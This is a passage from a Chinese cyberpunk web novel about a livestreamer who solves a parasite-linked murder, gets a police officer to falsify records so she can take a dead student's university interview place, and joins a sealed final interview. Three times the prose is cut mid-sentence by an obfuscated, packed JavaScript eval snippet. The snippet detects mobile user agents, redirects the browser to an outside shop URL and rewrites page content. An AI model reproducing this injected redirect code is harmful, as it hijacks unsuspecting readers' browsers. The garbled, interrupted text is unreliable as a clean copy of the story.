【这个老头我见过,昨天我刚从夜店走出来,就看到他一步一步缓缓从阴影走出来,身下还拖着一个奇怪的东西,刚开始我以为是拖着一只死狗,仔细一看竟然是他的器官!】 当然,人数最多的还是——辱骂夭捺党。 【怎么又是夭捺,她就不能消停一会吗,这次直接拿死人做话题。】 【为什么夭捺说老头没死,他就真的死而复生起来杀人了?我怀疑夭捺是幕后黑手!】 【哈?她就是一个三无网红,还有这本事?】 【为了保险起见,请逮捕夭捺!】 夭捺无语了,指着新闻反问止役:“不是,你们为了娱乐,就把无辜的人放到新闻上群嘲吗?” 饶是知道赛博娱乐至死,杀人新闻也要贴知名网红赚话题,她还是被气笑了。 该死,本来都不想管这件事,真是越想越气。 夭捺都给气笑了,这一天天的都在给人擦屁股。 “先把枪收起来吧,如果你们实在那么好奇,告诉你们老头为什么死而复生也无妨。”夭捺推远枪口,主动盘腿坐在沙发上,展示自己不会逃跑的态度。 止役想了想,收起枪的同时,打开了右眼的摄像头,因为这有可能是嫌疑犯坦白。 “是黑虫。” “什么?”止役蹙起眉头,她这是嗑药了吗? 夭捺走上前一拍宋临的大脑,他头晕目眩,不一会儿右耳道居然掉出了一只黑色小虫。 虫子的体型特别小,放在指心上只占据了一道指纹,外壳很坚硬,有一双半透色的翅膀。 止役看了一眼就认出来了,这是前几天上过热搜的褐雾,被路人拍下来发到赛博网上,询问这是什么东西,原来褐雾的主体是虫,体型还那么小。 当他们集体行动的时候,会形成一层朦胧的褐雾,但如果形单影只,几乎肉眼看不到。 难怪“褐雾”只在互联网上出现过一次,就再也没出现过了,感情从第一天出现开始,他们就分头行动,一只只存在感不高地藏在家具中,钻进缝隙里,甚至住进人的耳朵里。 止役没忍住拍了拍自己的耳朵,心想:他耳朵里有虫吗? “这就是黑虫,以人脑为食。”夭捺介绍道:“它会钻进没经过精神力训练的大脑里,让寄生者产生幻觉,等寄生者在幻觉中死去,黑虫就会开始享用因为恐惧而死亡的大脑,这对它们来说是难得的美味。”

打赏100元,赠与主播夭捺漂亮的玫瑰。 咦,竟然还有打赏。 夭捺不着急了,身体缓缓坐回躺椅里,一副咸鱼摆烂的样子。 打赏后的弹幕通体金黄,在一众白嫖的观众中,显得格外显眼。 【名侦探爱好者:夭捺别走!!我大概知道案件的来龙去脉了,但我还是不理解一点:老头为什么要去找高中生复仇,真是因为对方有钱吗?】 这条弹幕还跟着一长串小尾巴。 【不是吧,真以为夭捺是协助警方的热心市民啊?她能破案的话,还当什么网红,直接去当警察就好啊!】 【她的热心市民奖,可能是她在警局的情人特地弄来的…就那个叫什么止役的警官。】 【居然给网骗转了一百块,我看你真的是饿了!】 … 屏幕后,名侦探爱好者看到夭捺沉默,黑粉又情绪激动地上蹿下跳,已经有些后悔了。 她人如其名是一个悬疑爱好者,平日爱好就是分析社会案件,推理出凶手的作案动机过程。 过去案件中,凶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11857227|126340||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作案动机几乎有迹可循,可唯独宋老头这桩案件,迷雾重重。 为什么宋老头要杀高中生? 如果是为钱的话,他完全可以绑架陈松伶,再勒索陈家啊。 充满好奇心的她又是普通人,无法直接联系警方,只能剑走偏锋询问热心市民夭捺了。 当她看到夭捺要下播的时候,急得不行,立刻打赏100元挽留。所以夭捺会有答案吗?名侦探爱好者顶着无数黑粉的嘲讽,既后悔,又有一丝丝的期待。 “你好,名侦探爱好者,你的问题其实很简单。”全息发生下的夭捺正坐在自己对面,冲着她露出浅浅的微笑。 明明她们都是同性,却莫名让她脸红了。 “只要打开宋老头发布的求助帖,将陈*伶发过的回复全部拉出来,就知道了。里面好像有一条:就当我大发慈悲体恤穷人,提醒你一下吧。死前记得买份死亡保险,用保险金照顾一下在世的亲人。” 夭捺阅读陈松伶的留言时,还用上了他的语气,恶劣得令人发慌。 这些冰冷的文字,写出来的时候,自己是毫无感觉的,可作为第三者接受信息的时候,才发现它攻击力强得可怕。 每一个字,都如同利刃,一刀刀刮在心窝里。 怎么能对老年人说这么恶劣的话!弹幕里谁没有父母,光是想到自己的父亲可能在网上被辱骂,就心疼得不行。 难怪宋老头要报复他! 夭捺话音刚落,名侦探爱好者肉眼可见地愣了一下,连忙追问:【所以不是为了寻财,而是为了报复吗?】 夭捺看到这个弹幕后,不受控制地笑了一下。 太好笑了。 但她理解为什么名侦探爱好者会这么想,不只有她,直播间大部分观众包括宋临本人,也是这么想的,夭捺瞥了关注列表上的“song.in”在线。 可事实却是… “宋老头是想告诉他,自杀是拿不到赔偿,让他千万别和他一样干傻事,白白死亡后悔莫及。” 夭捺话音刚落,屏幕后的观众都惊呆了,连带辱骂她的屏幕都少了很多。 宋老头不是寻财,也不是寻仇,他只是为了提醒陈松伶,才会拖着残缺尸体去找他?! 世界上怎么会有这么好的老人,死了还在担心网上骂他的人!! 一切都说通了。 如果不是追债的人误将陈松伶当成宋临,他绝对不会死得那么凄惨! 名侦探爱好者在短暂震惊过后,不忘给夭捺回了一个:【谢谢。】 “不客气,这是你100块钱买来的答案。” 一时间,直播间的评论被带偏,大家都在讨论宋老头的善良,已经没人顾得上骂夭捺了。 医院病房里,刚通过止役介绍的官方贷款做完手术,从麻醉剂效应中清醒过来的宋临,终于得到他昏迷时一直在思考的答案。 他躺在病床上,眼泪停留在眼眶里,却没有落下。 太好了。 他爸爸是无辜的,从头到尾都是一个大好人。他总算可以安息了。 宋临关闭夭捺的直播间,安心闭眼睡觉。 也因为他走得早,没看到夭捺直播间后半段,发生了新一轮的骂战。 靠着抹黑夭捺才获得流量的id<哲也>看到自己的发言被推翻,还有人在底下阴阳怪气,就气不打一处来。 他就纳闷了:夭捺又不是案发现场的目击者,咋可能知道宋老头为什么要找高中生, 而且两位当事人都变成一具不会说话的尸体了,真相如何,岂不是由着夭捺乱说? 他这么想,便把这些语气激烈的弹幕发了出去,原以为夭捺会跟之前一样熟视无睹,却没想到这次她居然看进去来,还冲着<哲也>露出讥讽的笑容。 “似乎有点熟悉呢。” 夭捺点击<哲也>的弹幕,将他发出来的内容放大,再放大,令所有人都看到。 她说:“无论宋老头的出发点如何,受害人都因为随意发布恶评而死。” “而现在,你们在对我做一样的事情哦。 说完这句话,夭捺二话不说,直接下播,留给观众一句类似于诅咒的话。 ——再骂我,我不介意杀了你们 12.第 12 章 什么意思?? 夭捺下播了,留在她直播间里的观众还一头雾水,没反应过来。 ——她这是在骂我们? 不是,这个骗钱翻车的失德网红,居然敢骂直播间的金主们! 一时间,除了对案件好奇的人心满意足地离开直播间外,哲也等一众黑子都破防了,他们虽然忌惮陈松伶的死,但人总有“反正不会轮到自己”的侥幸思想,所以并不在意。 直播间关了,那就在别的网站上骂,无所不能的赛博网络不缺情绪输出的地方。 于是从记者发布会到直播结束,夭捺赚足话题,占据所有人的视野。 就连走在路上的路人,也在讨论她。 “夭捺是找了财团当靠山吗,现在拽得跟先前就是两个人!” “就她这副尊容,怎么可能有财团少爷看上她,开玩笑吧。” 两名路人刚从夭捺的直播间下来,一边讨论一边往前走。然,一道弱弱的声音传来:“请问一下,你们说的夭捺,是前几天因为P图翻车的网红吗?” 两人被吓了一跳。 他们在这里呆了那么久,都没发现身后站着一个人。 转头一看,发现说话人是一位留着挡脸的长发,皮肤白皙得几乎要消失的单薄少女,她似乎不太习惯有人看着自己,又往下低了低头。 “对啊,最近风头正火的网红,除了她就没别人了吧?” 话音刚落,少女脸色更惨白了,仔细一看身体还在颤抖。其中一位心地善良的路人问:“您还好吗,需要送你去最近的医院吗?” “不需要,谢谢你们回复我。” 少女赶紧离开,现在的她属于黑户,不能去医院。 等远离人群后,少女火速找到公共网络,熟练篡改了自己的ip地址后,开始上网。 她先打开登录页面,思索片刻后又放弃登录自己的帐号,而是使用一次性游客账号,搜索有关“夭捺”的关键词。 赛博时代信息爆炸,今天发生的事情已经占据首页。 【失德网红夭捺得到警方表扬,成为协助破案的热心市民】 【网红夭捺再开直播,是否要逆风翻盘?】 【从今天直播视频,盘点夭捺修改代码的高明之处,堪比电子整容!!】 … 种种新闻表现,网红夭捺还在活跃,今天还直播了。 可…她在这里,是谁在给夭捺账号直播的?少女慌了,马不停蹄打开了夭捺的主页,当她看到夭捺这个与她P出来的形象一模一样的人用着她的帐号,还顺利顶替她开直播后,慌张彻底变成惊悚。 是谁? 为什么有人长得和她p的一模一样? 还是说有更高明的黑客捏了一张同样的脸,偷走她苦心经营三年的账号? 少女看向海伍德红灯区的方向。 距离她逃跑已经过去三天,心态也从刚开始的逃避,变成如今对身份被夺走的恐慌。 她知道,她得回去看看了。 不管那是黑客,还是什么怪东西,她得拿回自己的身份。 … 同一时间。 记者发布会结束后,止役并没有离开,而是拿着一份文件找上最高级别的总警司。 “止役?”总警司知道他,因为在他误杀同事被调到网络安全部前,他一直是潜力股,下一任警长的最佳人选。可现在,他只是一个小小的网络警察。 “总警司,我想换组。” 止役还是想换去重案组,哪怕他发现网络安全部也不是一无是处的。 总警司早在他找上门之前,就想到止役会趁机提出换岗位的请求,干脆提前表明态度:“这次案件,你的表现非常优异。这也证明了,人才在什么地方都能发挥出最好的作用,换岗的事情就别再提了。” 原以为止役会纠缠,谁想到他听到这话后,竟然没什么反应,只说了一句:“好吧。” “…” 总警司诧异看向止役。 怎么感觉一场案件过后,他人就变了,也不犟了。 止役接受不换岗后,火速拿出另一份文件:“这是我代表网络安全部拟定出来的提案,希望能趁宋老头事件还有热度之前,尽快提出来。” 网络安全部还有提案…? 而且总警司怎么感觉,止役提出换岗,目的是希望他能答应后面的提案? 总警司诧异接过文件,等他浏览完内容,简单思索过后,直接将文件递给公关秘书部:“现在就去拟公文,往全体市民的智能系统里发送。” “谢谢。” 完成任务的止役,头也不回地离开了。 临走前,他听到总警司的感叹:“你确实适合网络安全部。” 止役:“…” 适合个屁,少给哥画大饼。 止役头也不回扬长而去,提提案只是不希望类似案件发现,他依旧看不起网络安全部,迟早要回到重案组! … “叮咚。” “叮咚叮咚。” 同一时间,全体市民都收到来自警局的公文。 当然,这个“全体市民”里,也包含了顶替原主位置的夭捺。 她在热心市民头衔帮助下,顺利补办了身份系统芯片,又因为没钱做芯片植入手术,只能跟项链一样挂在脖子上。好处就是:保住百分百自然美女的人设。 她点开芯片,公文信息投射在她眼前,虚拟的蓝色代码组成结构复杂的文字。 ——从今日起,赛博网络开启老年人使用界面。凡是通过身份系统上老年认证的人,将会获得说明更详细的上网界面,更简单明了的操作流程。 与此同时,网络安全部将优化个人信息保护,取缔网络贷款,增加审核力度与科普。 最后,请大家发布评论前好好思考,对方可能是你的朋友,亲人,你身边的任何一人,任何恶意的回复终将化为刀刃刺向自己。 ——网络安全部,止役。 夭捺:哎哟。 孺子可教也! 这样一来,就能减少黑虫入侵那些贷款自杀的尸体,减少类似宋老头的案件了。 但说实话,夭捺一点儿也不在意赛博世界死多少人,对于她来说,最有意思的其实是“发布评论前好好思考”这句话。 如果夭捺记得没错,她只在直播间里公布过陈松伶的死因。 也就是说,止役还来看她直播。光是想到这位嘴硬老兄,黑着一张脸打开女网红直播,她就觉得特别有意思,特别好笑。 这样想着的夭捺立刻给止役发去信息,说:“下次不要白嫖,记得打赏。” 消息显示已读,对面状态变成输入中,又取消了输入,紧接着又回到输入中的状态,这样来回变了好几次后,止役愣是一句都没回复。 不知道私下骂的有多脏。 夭捺难得在普通人身上找到了一丝乐趣。 于是病床上宋临一睁开眼睛,就看到夭捺坐在他床边,看着通讯器两眼俏皮地弯起,也不知道等了多久。他连忙强撑身体坐起来。 夭捺这才把注意力从信息转移到宋临身上。 她看向宋临的双腿双手。完完整整,状态极好。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11857221|126340||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 毕竟是未来星际时代了,四肢残缺已经被列入与“感冒发烧”同属一个等级的常见病,手术后的宋临看起来就像没受过伤一样,连缝合处都没有。 不知道的还以为旧的宋临被销毁了,推出来一个全新的宋临。 宋临对夭捺比划手语,“我植入了手语芯片,可以说话了。” 只要他比划对应的手语,嗓子里就会冒出相对应的电子音…嗯,看起来更像机器人了。 “挺好的。” 反正有没有声音,对于夭捺来说都一样。 “医生建议我直接改造嗓子,但我没说过话,怕在开学之前还没学会,就放弃了。” 说起这事,夭捺终于想起自己为什么来探望宋临,她拿出赛博科技大学的通知书照片:“既然我救了你,又让你父亲安息了,你是不是得好好报答我?” “我不是在直播间里给你打赏了吗?” 宋临没说的是,他给夭捺打赏的,是他自己的钱,唯一仅剩的钱。 那是他的全部。 “那200元算我的工资,救命之恩得另算吧。”夭捺俏皮地点了点照片上通知书的封面,说:“我在直播间说过,我是赛博科技大学的大学生,所以我现在要去这个大学上学。” 什么意思?那不是骗人的人设吗? 宋临怎么感觉自己睡了一觉,对面的女人更疯了。 他无措反问:“可是…你有入学通知书吗?” 其实入学通知书不算什么,它只是一个对外展示品,重要的是夭捺参加过入学考试吗?学校系统里有她的资料吗,她要怎么去赛博最出名的大学上学啊? 不知宋临想到什么,脸色一白,嘴唇颤抖地说:“你是要…我的入学通知书?” 夭捺是想顶替他的学位? 买卖学位在阶级划分严苛的赛博世界是常见的事情,财团出高价买走贫困学生的学位,保证他们的子女都能拥有好学历,只要钱给的足够多,多的是人愿意交易。 前不久宋老头刚死,宋家最困难的时候,就有一个财团少爷提出要买他的学位。 但宋临虽然贫穷,却很有志气,宁愿在开学之前而死,也不愿意让劳动结晶转送他人。于是这事就不了了之了,宋临还听说那位财团少爷气得摔碎好几个昂贵的天然水晶杯。 现在夭捺想要他的学位,她又是自己的救命恩人,把入学通知书给她似乎也合情合理。 可宋临就是不舍得啊。 上赛博科技大学是他的梦想,也是他父亲这辈子最开心的事情,这样想着他陷入挣扎,连放在双腿两侧的拳头都在微微颤抖。 “我…把通知书给你。” 宋临一闭眼,最终还是喊出这句话。 夭捺却白了他一眼,说:“想什么呢,我不要你的学位。” 啊?不要他的? 宋临的世界豁然开朗,却有莫名地有些吃味——不要他的,那要谁的? 夭捺滑动照片,通知书下一页就是参加面试人信息,里面赫然是…陈松伶的名字。 她说:“这是陈松伶自己发布在社交媒体上的通知书,他好像是即将参加赛博科技大学最后一轮面试的高中生。” 顿了顿,她说:“我要他的学位。” 拿走死人的东西,应该算是废物利用吧?夭捺觉得没有比这更好的选择了。 宋临却莫名地严肃。短暂沉默后,他问:“夭捺,你老实告诉我,你是在陈松伶出事前,知道他是赛博科技大学的预备大学生吗?” 夭捺闻言眨了眨眼睛,笑了。 “怎么可能呢?” 13.第 13 章 她绝对知道。 不知道为什么,宋临下意识觉得——夭捺无所不能。 但赛博科技大学不是脑子好就能进去。 他翻出这段时间的备考资料,厚厚一叠竟然有半人高:“科技大学的入学考试非常难。” 想要成为科技大学的学生,首先,第一轮得通过全球高考,成为排名前1%的合格者,紧接着在所属地参加面试,成为该区的第一名,再前往科技大学校内参加最后一轮面试。 陈松伶本该在竞争激烈的威森布鲁克区,每年富人区都会为了入学名额,神仙打架。但陈家通过暗箱操作,将学籍转移到了海伍德区,这才让他顺利拿到最后一轮面试资格。 说到最后一轮面试,哪怕是成功者宋临都有些冷汗冒出,“赛博世界除了无人的恶土,一共有六个市区,也就是说参加最后一轮校考的人只有六人,但只有一个合格者。” 也就是说,就算夭捺拿到陈松伶的最后一轮面试资格,她作为中途插班的作弊差生,要怎么打败其他区域的第一名,成为新生? 宋临对夭捺的计划报以绝望,最重要的是:“入学考试对你来说太遥远了,先说第一步,你要怎么顶替陈松伶的面试名额?” 陈松伶案结束后,警方就不再需要保留他的尸体,会很快向身份系统递交死亡报告,身份系统核查生命状态过后,会抹掉陈松伶在世上所有的信息,包括他的电话,注册信息,学籍及面试合格通知… 这一系列工作听起来繁琐,但在AI手中,只需要一秒。 除非夭捺今天能当众拦截尸体,否则她压根不可能在AI手里,偷走死人的信息。 宋临苦口婆心,想要劝说夭捺放弃这么不靠谱的计划,夭捺却笑了。 她说:“如果是担心身份系统上出现问题,你就放心吧。我里面有人。” 里面有人…?这是什么意思,难道夭捺还能与AI系统交流吗?宋临露出不理解的表情,夭捺却没有给他解释的必要,径直站起来朝门外走去。 临走前,她还不忘对宋临说:“那么,晚点学校见咯!” “…” 太让人不放心了。 宋临左思右想,最后还是拔掉了针头,决定先回学校看一眼。 … 警局里。 止役第无数次打开夭捺的聊天界面,气得脑门都发热了。 ——他就不该在公告里提及恶评的事情,就应该让夭捺被黑粉骂死! 她被骂关他什么事啊!没有因为欺骗警察逮夭捺,已经是止役人生中唯一的善良了。 他难得友好了一下,却被对方调侃…特么的,止役想杀人的心都有了。 全息发生器还在播放着夭捺的直播,止役刚要关掉,却又眼尖看到直播间过分的言论。 【别的不说,夭捺P后这张脸还有点好看,完全可以去应聘虚拟性偶了!】 【众筹包养夭捺,一个月两千,有没有兴趣的?】 【夭捺约我在大学咖啡馆见面了,我好兴奋啊,到时候穿什么衣服去好呢?】 止役:… 一群臆想病发作的傻逼,为什么赛博没有禁止精神病人上网的法规? 止役想装作没看到,但还是忍不住,在这些评论底下逐条反驳,化身夭捺直播间房管。 一旁的死宅同事注意到止役的动作,面露欣喜,没想到警局红人居然和他有同样爱好! 他兴奋地说:“原来你喜欢夭捺啊!” “我不喜欢她!”止役惊悚反驳,气得脑门更发热:“我就是看不惯这些乱讲话的人,觉得他们太没有素质和礼节了。” 可惜,止役的反驳并没有被宅男同事当一回事。顺带一提,这位同事叫祀翟。 估计是每一个死宅都有自我否定的阶段,所以祀翟听到止役的反驳后,面露理解地说:“我理解你,每个死宅都有不相信自己是死宅的阶段,但我相信很快,你就能接纳自我,释放真正的自己了。” 止役闻言,看向祀翟身上的短袖。 一如既往的美女应援服,胸口印着大大的爱心,还有LOVE 哈尼,估计又是哪个网红。 止役心想,他这辈子都不会有接纳死宅的一天了。 他收回目光,不愿将这么离谱的对话进行下去,祀翟却跟开启话匣子似的不依不挠,说:“作为前辈我给你一个建议,不少网红听说你是警察后,会故意接近你获得某些特权,所以我们必须坚持好自己的三个原则。” 止役没有反应。 他看似不感兴趣,却莫名集中注意力,连门外的骚动都没有发现。 “第一,守住自己的私人地盘。” “哇好漂亮!”,“真的是真人吗?”…门口的骚动越演越烈,终于引起了止役的注意。 他抬头望去,透过不大不小的门缝,看到了无数警察,无论男女,都围在夭捺身边,簇拥着她往人迹罕至的网络安全部走来。 等等,夭捺为什么会过来,她怎么敢出现在警局里? “第二,不要背弃警察的信念。” 夭捺走进网络安全部,反过身微笑着将粉丝们关在外面,直直朝止役的办公桌走来。 她开口就是一句:“止役,帮我入侵身份认证系统。” 止役没有反应,耳边祀翟的嘱咐还在继续——“第三,不要忽视犯罪行为。” 祀翟说完这话后,才回过身发现夭捺就在自己面前,把他开心得双脚一蹬直接晕倒了。 止役却顾不上关心同事了,愣愣反问道:“入侵身份认证系统做什么?” “因为我需要陈松伶的入学通知书。”夭捺轻车熟路坐在警察的位置上,反客为主:“你只需要帮我在网络上,删掉陈松伶的名字,让身份认证系统在删除个人信息的时候,跳过这份通知书。” 只要赛博科技大学系统上没有显示陈松伶已死,她就有很多操作空间。 穿越这才几天,夭捺就已经把握了赛博世界的生存规律,她甚至利用了认识的所有人,宋临负责打通学校内部,止役负责处理网络外部,让人很难不怀疑当初她和他们搞好关系,为的就是弄虚作假当大学生的这一天。 祀翟的话还历历在目,于是止役想也不想,直接拒绝。 “你疯了?让一个警察帮你骗人。” 他的心坚硬如磐石。 夭捺也预料到止役不会这么轻易帮他了,但她也不着急,毕竟网络安全部那么多人,不一定非得止役才行。 譬如刚刚那个晕倒的警察,看起来就是一副她会用得很称手的样子。 夭捺刚准备离开,眼尖忽然看到止役桌子上的三人合照。她的视线不由得缓慢了一瞬,将照片拿起来放到眼前仔细查看。 照片里有三个男生,都穿着警服,虽然照片里的止役和现在的长相差不多,脸上却露出了大学生特有的青涩笑容。这似乎是止役在警校时和朋友拍的照片。 夭捺拿起照片,目光在上面三人来回打转,最后说出第一句评价:“是个死人。” 也不知道她说错了什么,止役忽然暴起,将照片抢回来:“谁让你动我的东西?出去!” 夭捺没有被止役跌宕起伏的情绪影响,而是淡定指着照片里的人,说:“他是死人。” “我知道,是我杀的。”止役冷着脸,并没有给夭捺解释的意思,不过夭捺也听说过了,止役是在前不久出行动中杀了同事,才会被贬职到网络安全部的。 贬值原因是:止役不是误杀,而是虐杀。 他虐杀了自己的好朋友。 夭捺看着止役往照片里的朋友贴白花,猜想照片里右手边男生,就是他的虐杀对象。 不过奇怪的是… 夭捺眼睁睁看着,止役将白花贴到另一个人身上,说:“你贴错了,死的是另一个人。” “另一个人?” 止役诧异,低头看向照片里的朋友, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11857230|126340||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个月前在他面前横尸的同事。 他的记忆很清楚,怎么会是另一位幸存者呢? 大概是病急乱投医,又或者想起了夭捺的特殊,止役坚定守住三个原则的心忽然瓦解,但他还不太相信夭捺,不敢将三个月前发生的事情告诉她。 于是短暂几顺犹豫后,止役还是松口了:“我可以帮你删掉陈松伶的面试通知书信息,再把你的信息加塞进去。但这是最后一次。 顿了顿,似乎是为了坚定立场,又放下狠话:“绝对没有下一次了。” “当然。” 夭捺笑了。 她的视线朝照片中的三人撇去,已经预想到未来的止役会打多少次脸了。 网络安全部没有人,正是方便暗箱操作的时候,止役打开警员系统,开始修改信息。幸好他们的速度快,再过半个小时,陈松伶将会通过死亡认证,删除互联网上所有的信息。 再等到明天,第二轮面试名单将送进赛博科技大学的系统,再也没有修改的可能。 止役插手得及时,赶在名单送进大学系统之前,用夭捺的名字替换了陈松伶的名字。 再加上身份系统通过死亡认证后,删除陈松伶的社交媒体,清空他之前发过的照片,朋友的聊天内容。也就是说:除了夭捺、止役、宋临,没人知道入学通知书换人的事情。 第二天一早,夭捺顺利拿到了赛博科技大学的面试通知函。 即将前往面试。 这也是她穿越后第一次走出海伍德贫民窟,前往赛博世界最奢靡的地区——市政中心。 出门后,夭捺就发现自己疏忽了,没有人会主动离开贫民窟前往市中心。她站在路旁,发现找不到愿意跨区的悬浮出租车后,选择了报警。 几秒钟后,滴嘟声响起,警车直接停在夭捺面前。 夭捺侧头一看,就看到驾驶位上的黑沉着一张脸,一副别乱说话随时会杀人的样子,再往旁边一看,驾驶系统上的晶体都被打碎了,也不知道他接到电话后得有多气。 但气归气,他还是乖乖开车来接夭捺去学校,毕竟在这件事上他们是共犯。 离开海伍德后,□□聚众勒索打架的事件越来越少见,阴暗逼仄的后街小巷逐渐减少,慢慢的,警车开上宽敞明亮的空中马路,两侧低矮的破落房子也变成通天的霓虹大厦。 市政中心,到了。 赛博科技大学就在市政中心正中间,是一片被万千摩天大楼包围的建筑,通体蓝色,仿佛一段虚拟代码构成的假象,实际这也确实是赛博科技大学的其中一部分。 大学一共分为两半,现实校区和虚拟校区,将全息发生器运用到了极致。 夭捺坐在警车里,饶有兴趣地观赏着,这与她的原生世界、海伍德截然不同城市景观。 车子停在学校门口。 现在还没到开学的时候,回学校的学生不多,四面宽敞也好观察。 止役关闭驾驶系统后,正好碰到了其他来面试的学生——他将夭捺加入名单的时候,顺便看了一眼其他面试者的信息以对他们有一些印象。 他将其他五人指给夭捺看,“你看,那些就是你的竞争对手。” 这份名单群英荟萃,分别是市政中心第一名,沃森区第一名,威斯布鲁克区第一名,圣多明哥第一名,还有太平洲的第一名。 止役将这些人指出来的目的,是想让夭捺知难而退,她是没办法赢过这群精英的, 谁想到夭捺的目光飞快在这几人身上掠过,忽然就哈哈大笑起来了。 “你在笑什么?” 止役摸不着头脑。 夭捺却笑得眼泪都出来了,“我在笑,科技大学算什么东西,入学面试也太儿戏了。” 止役以为夭捺是蹬鼻子上脸,自豪自己将学校系统玩弄于股掌,可还没等他开口警告,夭捺就默默擦掉眼角的泪花,说:“因为…” “来面试的六个人,都是假货啊…” 14.第 14 章 假货? 怎么可能。 在赛博人眼中,先进的科技神圣不会出错。夭捺是因为认识他,开了警局权限走后面,才能以假货的身份混进入学考试,其他人怎么可能会是假的呢?止役不置可否。 夭捺却已经下车,朝入学考试地点的方向走过去。 面试场所是一个有着巨大单向玻璃的房间,玻璃里是一个配备饮水机等简易会议室,中间放着一张巨大的长圆桌,六个座位。 学生坐在玻璃里面,导师们则坐在玻璃外面,观察面试学生们讨论状态和反应。 夭捺是第三个进房间的面试者,她进来前,教室里已经有两个男生了。一个孔武有力,一个纤细瘦弱,两人的面色都不太好。 “你们是面试者?”夭捺挑了挑眉,语气含笑。 “…对的。” 强壮的男生没有回答,直接坐下,另一个男孩看起来也有些腼腆,见夭捺走进来后,他立刻坐回桌子里瑟缩着脖子,没有接话茬。 夭捺主动坐在两人的对面。 三人瓜分了六人桌位的三个角落,默契地没有搭话。 房间很安静,不像考试现场,更像是暴风雨前的宁静,没多久,第四个面试者进来了。 她是一个梳着马尾辫的女孩,看起来十分阳光活泼。她一过来,目光立刻锁定夭捺,并且主动坐在她身边:“我叫章盈盈,来自市政区全球下水道集团章家。” ——有钱人家的女儿。 夭捺做出评价,不是因为她的自我介绍,而是章盈盈浑身散发出一种高傲的自信。 她观察章盈盈的同时,章盈盈也在观察她,似乎是两位面试者在考试前的暗自较量。另外两个男生没有说话,只用着隐晦的目光默默观察她们。 又过了几分钟,第五位、第六位同时走了进来,是一男一女。 男生似乎是it精英,后脑挖空改装成电脑的样式,鬓角旁边还时髦感十足地留着接口,随时可以链接互联网,另一个女生不是来自威森布鲁克区就是沃森区,打扮上就非常有钱,手里还拿着六倍热乎乎的咖啡,贴着100%纯天然水的标志。 100%天然水,不是人造水,这几杯咖啡的价格不一般啊。 可女生却不以为然地放在桌子上,热情地招呼大家:“听说一会儿入学考试时间很长,我给大家带了咖啡。顺带一提,我叫金安娜,叫我安娜就可以了。” 夭捺、章盈盈都拿了一杯,另外三位男生迟疑了一会没有动,也不知道在提防着什么。 目前,所有面试者都到齐了。 一份名单传到众人手里。 把后脑改造成计算机的人叫克里,威斯布鲁克区第一名,那片区域出了名的挥金如土,难怪他的义体化程度那么高。 身体过分强壮的大高个男人叫周奕,来自流民问题严重的太平州。 最后腼腆清秀的男生,自然就是圣多明哥区出身的上原崧了。 夭捺再次看向同桌几人——别看这些人长得人模人样,说话中却透露着谎言的气息,好像下水道老鼠的酸腐味在会议室里蔓延。 她可以肯定,这个房间里六个面试者都是假货,就是不知道他们是如何顶替进来的。 面试者到场没多久,导师进来了,公布最后一轮考试的面试题。 “最后一轮考试将采用小组对话。” 话音刚落,会议室的窗户全部封锁,营造出一个被单面玻璃包围的封闭空间,导师说:“讨论不限时,讨论内容是[六人中谁更有资格进入赛博科技大学],什么时候人选出来了,考试才算结束会议室打开,从大家进入会议室开始,包括我在内所有老师都会监控你们,除非发生紧急情况,否则中途离场的人将失去录用资格。” 其他几人面面相觑,夭捺却笑了。 不愧是升学难度最高的科技大学,居然让六个面试者自己选出合格者,这跟教唆他们自相残杀有什么分别? “每个人都能为自己拉票,可以用金钱攻势,可以用学习成绩碾压,总之要说服大家,如果没有问题的话,现在就开始考试吧。” 能进入最后一轮考试,六人都不是蠢的,当即表示没有问题。 于是导师话音刚落,玻璃闪过淡蓝色光芒,这是墙面硬化的表现,导弹来了也打不穿。 可在玻璃变化,会议室变成完全密闭空间的一瞬间,夭捺就感觉到不对劲的地方了…刚刚还能听到导师呼吸声,细细交流讨论声的广播,忽然就被掐停了。 空气中安静得不像话,仿佛全世界只剩下这个会议室,和即将要参加面试的六个人。 夭捺看向玻璃,因为是单向玻璃,她看不到导师那边的情况,只能看到自己苍白脸色。 她默了片刻,发现自己确实感受不到导师那边的情绪,才开口说道:“这里不太对劲,我们好像被完全隔离起来了。” 电脑小子克里冷漠回复:“因为考试开始了啊。” 夭捺都不用回头,就知道其他几人一定也在用看傻子的眼神看着她,这可不利于考试,可她比起这些虚的东西,更在乎自己的小命:“要怎么出去?” “你要出去?”章盈盈愣了一下,“可刚刚导师说,中途离场算作弃权啊。” “劝她那么多干什么?”克里露出轻蔑的笑容:“她走了,我们竞争更小了。” “可是…” 章盈盈莫名的不舍得她。 夭捺却对这些冷嘲热讽不甚在意,毕竟弃权总比丢了小命强。 